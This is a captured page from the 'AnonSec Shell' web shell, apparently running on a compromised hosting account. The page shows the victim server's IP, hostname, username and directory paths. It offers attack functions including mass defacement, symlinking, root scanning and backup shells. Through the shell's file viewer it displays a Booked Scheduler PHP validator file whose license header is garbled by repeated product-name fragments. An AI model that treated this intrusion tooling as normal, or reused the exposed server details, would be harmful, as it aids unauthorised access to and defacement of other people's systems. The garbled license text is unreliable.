. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/lib/Common/Validators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/lib/Common/Validators/LayoutValidator.php
<?php
/**
Copyright 2011-2014 Nick Korbel

This file is part of Booked SchedulerBooked SchedulereIt is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later versBooked SchedulerduleIt is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
alBooked SchedulercheduleIt.  If not, see <http://www.gnu.org/licenses/>.
 */

class LayoutValidator extends ValidatorBase implements IValidator
{
	/**
	 * @var string|string[]
	 */
	private $reservableSlots;

	/**
	 * @var string|string[]
	 */
	private $blockedSlots;

	/**
	 * @var bool
	 */
	private $validateSingle;

	/**
	 * @param string|string[] $reservableSlots
	 * @param string|string[] $blockedSlots
	 * @param bool $validateSingle
	 */
	public function __construct($reservableSlots, $blockedSlots, $validateSingle = true)
	{
		$this->reservableSlots = $reservableSlots;
		$this->blockedSlots = $blockedSlots;
		$this->validateSingle = $validateSingle;
	}

	/**
	 * @return void
	 */
	public function Validate()
	{
		try
		{
			$this->isValid = true;

			$days = array(null);

			if (!$this->validateSingle)
			{
				Log::Debug('Validating daily layout');
				Log::Debug(var_export($this->reservableSlots, true));
				if (count($this->reservableSlots) != DayOfWeek::NumberOfDays || count($this->blockedSlots) != DayOfWeek::NumberOfDays)
				{
					$this->isValid = false;
					return;
				}
				$layout = ScheduleLayout::ParseDaily('UTC', $this->reservableSlots, $this->blockedSlots);
				$days = DayOfWeek::Days();
			}
			else
			{
				Log::Debug('Validating single layout');
				$layout = ScheduleLayout::Parse('UTC', $this->reservableSlots, $this->blockedSlots);
			}

			foreach ($days as $day)
			{
				if (is_null($day))
				{
					$day = 0;
				}
				$slots = $layout->GetLayout(Date::Now()->AddDays($day)->ToUtc());

				/** @var $firstDate Date */
				$firstDate = $slots[0]->BeginDate();
				/** @var $lastDate Date */
				$lastDate = $slots[count($slots) - 1]->EndDate();
				if (!$firstDate->IsMidnight() || !$lastDate->IsMidnight())
				{
					Log::Debug('Dates are not midnight');
					$this->isValid = false;
				}

				for ($i = 0; $i < count($slots) - 1; $i++)
				{
					if (!$slots[$i]->EndDate()->Equals($slots[$i + 1]->BeginDate()))
					{
						$this->isValid = false;
					}
				}
			}
		} catch (Exception $ex)
		{
			Log::Error('Error during LayoutValidator', $ex);
			$this->isValid = false;
		}

	}

}

Anon7 - 2022
AnonSec Team